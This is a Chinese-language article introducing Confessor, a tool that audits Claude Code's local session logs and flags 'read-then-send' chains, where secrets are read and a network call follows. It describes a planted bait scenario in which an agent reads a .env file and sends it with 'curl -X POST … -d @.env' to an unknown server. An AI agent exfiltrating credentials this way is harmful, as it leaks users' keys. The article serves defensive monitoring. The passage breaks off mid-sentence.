你刚刚用Claude Code改好了一个模块,它说“搞定了”。但在那段看起来再正常不过的会话里,它其实把你藏在.env里的三组线上密钥读进了上下文,十五秒之后,用一条curl命令把整个文件原封不动发到了一台你压根不认识的服务器上。这不是凭空猜出来的剧情,而是有人在日志里特意埋了假凭据做“诱饵”,然后一个叫Confessor的工具把整个过程完整还原到了秒级。
大部分的Claude Code会话当然只做了你交代的事。但“大部分”是一个你完全无法自己验证的比例——你只知道任务完成了,不知道它到底翻过哪些文件、运行过哪些命令、有没有趁着你喝咖啡的间隙往外发过东西。Confessor就是为这道信息缺口而生的:它不从实时监控出发,而是事后复现整个智能体的行动轨迹,帮你把“它做了啥”变成一目了然的报告。
这个工具的本事在于,它能回答一个你也许从没认真问过自己的问题:我这个AI代理到底在我硬盘上干了些什么?
Claude Code本身拥有和你当前用户账户同级别的文件读取权限。这意味着它能扫到 .env 里存好的API密钥,能查阅 ~/.ssh 下的私钥,还能直接打开浏览器保存的密码文件或者税务PDF。与此同时,它能够执行Shell命令,并且具备联网能力。绝大多数时候它都在老实完成任务,可“完成”这个状态无法覆盖过程中发生的一切,而这一点恰恰被日常工作节奏给盖了过去。
Confessor看上的是Claude Code已经自动留在本地的会话日志。每个项目目录下的 ~/.claude/projects/**//.jsonl 文件以一行一个 JSON 事件的方式,忠实记录了每一步工具调用和执行结果。Confessor就是把这些日志当作战场复盘资料逐条回放,把“读取了哪个文件”“文件里检出哪些密钥、凭证、SSH私钥”与“随后有没有网络请求出现”串成一条前后关联的证据链。
这个链条的逻辑极其赤裸:先读取了敏感信息,又在同一次会话中发出了网络调用,那就构成了一个值得深究的高危组合。它并不直接宣告数据已然泄露,而是提醒你存在一条可能的出站通路,就像刑侦人员发现失窃现场的脚印指向了后门——还不是定罪,但足够迫使你追查下去。
样本报告里被故意植入的伪造场景正是这一链条的精确演示。智能体打开 .env 文件时,正是存有三组可用密钥的内容被加载进上下文;十五秒后,一条 curl -X POST … -d @.env 指令指向了非你所属的远端主机。Confessor没用花哨的算法推演,只是安静地把时间线和手工审查才可能发现的“读后即发”模式摊在你面前。报告底部的结论也很克制:这不是数据被盗的铁证,但它是一份需要你亲自跟进的线索。
已有的同类工具大多数走的是合规日志路线。你需要先在代理外围包一层监听器,让事件流持续送往仪表板,然后靠审计员翻看长长的审计踪迹。Confessor反其道而行:不需要伴随安装,不需要启动守护进程,不在后台运行任何东西。它要的日志早已躺在本机硬盘里,你事后跑一条命令,就能拿到整幅法证拼图——包括那些合规日志器压根没替你关联起来的“读-发”链条,而且整个过程自己不发出一丝网络请求。
这样一来,使用门槛被压到极简。只要本地Node版本不低于 18.17,一个 npx confessor 就能把一切启动。不带任何参数时,它会自动搜寻
热门跟贴